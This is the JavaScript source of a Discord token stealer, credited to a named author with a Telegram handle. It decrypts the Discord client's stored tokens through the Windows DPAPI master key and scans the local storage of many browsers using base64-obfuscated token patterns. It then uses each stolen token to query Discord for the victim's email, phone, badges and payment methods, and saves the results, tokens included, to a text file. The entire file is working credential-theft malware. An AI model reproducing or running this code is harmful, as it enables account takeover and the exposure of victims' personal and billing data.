// Coded by syntheticuhh
// t.me/Phorcy

const fs = require("fs");
const dpapi = require("win-dpapi");
const crypto = require("crypto");
const axios = require("axios");

class D { // discord class
    constructor(u, d, i, n, b, bill, e, ph, t, av, bio) {
        this.u = u;
        this.tag = `${u}#${d}`;
        this.id = i;
        this.n = n;
        this.bad = b;
        this.bil = bill;
        this.em = e;
        this.ph = ph || "None";
        this.bio = bio ? bio.replace(/\n/gm, "\\n") : "None";
        this.t = t;
        this.av = `https://cdn.discordapp.com/avatars/${i}/${av}.png`;
    }

    static async gP(t) { // get payment function
        try {
            const r = await axios.get(`https://canary.discord.com/api/v9/users/@me/billing/payment-sources`, {
                headers: { "Authorization": t }
            });
    
            const v = r.data.filter(p => p.type === 1 && !p.invalid);
    
            if (v.length > 0) {
                return v.map(p => "Credit Card ✔️").join(" ");
            } else {
                return "Paypal Account Connected";
            }
        } catch (e) {
            return "`No Card They Are Broke`";
        }
    }

    static async gA(tokens) { // get accounts
        const a = [];

        for (const t of tokens) {
            try {
                const r = await axios.get(`https://discord.com/api/v9/users/@me`, {
                    headers: { "Authorization": t }
                });

                const j = r.data;
                if (!j.message) {
                    a.push(new D(
                        j.username, j.discriminator, j.id,
                        D.hN(j), D.gBI(j),
                        await D.gP(t),
                        j.email, j.phone, t, j.avatar, j.bio
                    ));
                }
            } catch (e) {
                continue;
            }
        }

        return a;
    }

    static hN(j) { // has nitro func
        return j["premium_type"] !== undefined && j["premium_type"] !== null ? "True" : "False";
    }

    static gBI(j) { // get badges
        const bL = [
            { name: "N/A", flag: 0 },
            { name: "Staff", flag: 1 },
            { name: "Partner", flag: 2 },
            { name: "HypeSquad Events", flag: 4 },
            { name: "Bug Hunter Level 1", flag: 8 },
            { name: "Bravery", flag: 64 },
            { name: "Brilliance", flag: 128 },
            { name: "Balance", flag: 256 },
            { name: "Early Supporter", flag: 512 },
            { name: "Bug Hunter Level 2", flag: 16384 },
            { name: "Developer", flag: 131072 },
            { name: "Active Developer", flag: 4194304 }
        ];
        const fV = j["flags"];
        const bR = bL
            .filter(badge => (fV & badge.flag) === badge.flag)
            .map(badge => badge.name); 
        return bR.length > 0 ? bR.join(", ") : "None";
    }
}

function gMK(bP) { // get masterkey
    const mKP = `${bP}\\Local State`;
    const eK = Buffer.from(JSON.parse(fs.readFileSync(mKP, "utf-8")).os_crypt.encrypted_key, "base64").slice(5);
    const dK = dpapi.unprotectData(Buffer.from(eK, "utf-8"), null, 'CurrentUser');
    return dK;
}

function gET(bP) { // get encrypted token
    const lP = `${bP}\\Local Storage\\leveldb\\`;

    if (!fs.existsSync(lP)) {
        return [];
    }

    const f = fs.readdirSync(lP);
    const eR = /dQw4w9WgXcQ:[^\"]*/gm;
    
    const uET = f
        .filter(file => file.endsWith(".log") || file.endsWith(".ldb"))
        .flatMap(file => {
            const content = fs.readFileSync(`${lP}${file}`, "utf-8");
            return content.match(eR) || [];
        })
        .filter((item, pos, self) => self.indexOf(item) === pos)
        .filter(el => el !== null);

    return uET;
}

function dUT(eT, mK) { // decrypt tokens
    const dT = eT.map(eT => {
        try {
            const tD = Buffer.from(eT.split('dQw4w9WgXcQ:')[1], "base64");
            const sP = tD.slice(3, 15);
            const mP = tD.slice(15, -16);
            const eP = tD.slice(-16);
            const d = crypto.createDecipheriv('aes-256-gcm', mK, sP);

            d.setAuthTag(eP);
            return d.update(mP, 'base64', 'utf-8') + d.final('utf-8');
        } catch (e) {
            return null;
        }
    });

    return dT.filter(t => t !== null);
}

function dUP(bP, p) { // decrypt users
    const pP = `${bP}\\${p}`;
    return fs.existsSync(pP) ? fs.readdirSync(pP).map(p => ({ p: `${pP}\\${p}` })) : [];
}

async function fD() { // get da data
    const aP = process.env.APPDATA;
    const lP = process.env.LOCALAPPDATA;
    const dP = [`${aP}\\discord`, `${aP}\\discordcanary`, `${aP}\\discordptb`];
    let t = [];

    for (const p of dP) {
        if (fs.existsSync(p)) {
            const eT = gET(p);
            const mK = gMK(p);
            t = t.concat(dUT(eT, mK));
        }
    }

    const bP = [ // browser paths
        `${aP}\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\`,
        `${aP}\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\`,
        `${lP}\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\`,
        `${lP}\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\`,
        `${lP}\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\`,
        `${lP}\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\`,
        `${lP}\\CentBrowser\\User Data\\Local Storage\\leveldb\\`,
        `${lP}\\Orbitum\\User Data\\Local Storage\\leveldb\\`,
        `${lP}\\Kometa\\User Data\\Local Storage\\leveldb\\`,
        `${lP}\\Torch\\User Data\\Local Storage\\leveldb\\`,
        `${lP}\\Amigo\\User Data\\Local Storage\\leveldb\\`,
        `${lP}\\BraveSoftware\\Brave-Browser\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`,
        `${lP}\\Iridium\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`,
        `${lP}\\Yandex\\YandexBrowser\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`,
        `${lP}\\uCozMedia\\Uran\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`,
        `${lP}\\Microsoft\\Edge\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`,
        `${lP}\\Google\\Chrome\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`,
        `${lP}\\Vivaldi\\User Data\\%PROFILE%\\Local Storage\\leveldb\\`,
    ];

    const bPr = bP  // browser profiles
        .flatMap(b => dUP(b, b.split("\\")[6])
            .map(p => p.p));

    const cR = [ // regex
        new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17Mjd9", 'base64').toString(), 'gm'),
        new RegExp(Buffer.from("bWZhXC5bXHctXXs4NH0=", 'base64').toString(), 'gm'),
        new RegExp(Buffer.from("W1x3LV17MjR9XC5bXHctXXs2fVwuW1x3LV17MjUsMTEwfQ==", 'base64').toString(), 'gm')
    ];

    const tFP = bPr // token profile browser profile
        .filter(p => fs.existsSync(p))
        .flatMap(p => fs.readdirSync(p)
            .filter(file => file.endsWith(".log") || file.endsWith(".ldb"))
            .flatMap(file => cR.flatMap(reg => {
                const content = fs.readFileSync(`${p}${file}`, "utf-8");
                return content.match(reg) || [];
            }))
        )
        .filter((item, pos, self) => self.indexOf(item) === pos && item !== null);

    t = [...new Set(t.concat(tFP))];
    return await D.gA(t);
}

function stxt(a) { // save to txt
    const fD = a.map(a => {
        return `             Discord DATA ~ t.me/phorcy
======================================================
| Username > ${a.u}
|
| Userid > ${a.id}
|
| Email > ${a.em}
|
| Phone > ${a.ph}
|
| Badges > ${a.bad}
|
| Billing > ${a.bil}
|
| Nitro > ${a.n}
|
| Bio > ${a.bio}
|
| Token > ${a.t}
|
======================================================`;
    });
    fs.writeFileSync('discord.txt', fD.join('\n\n'), 'utf-8');
}
(async () => {
    const a = await fD();
    stxt(a);
})();

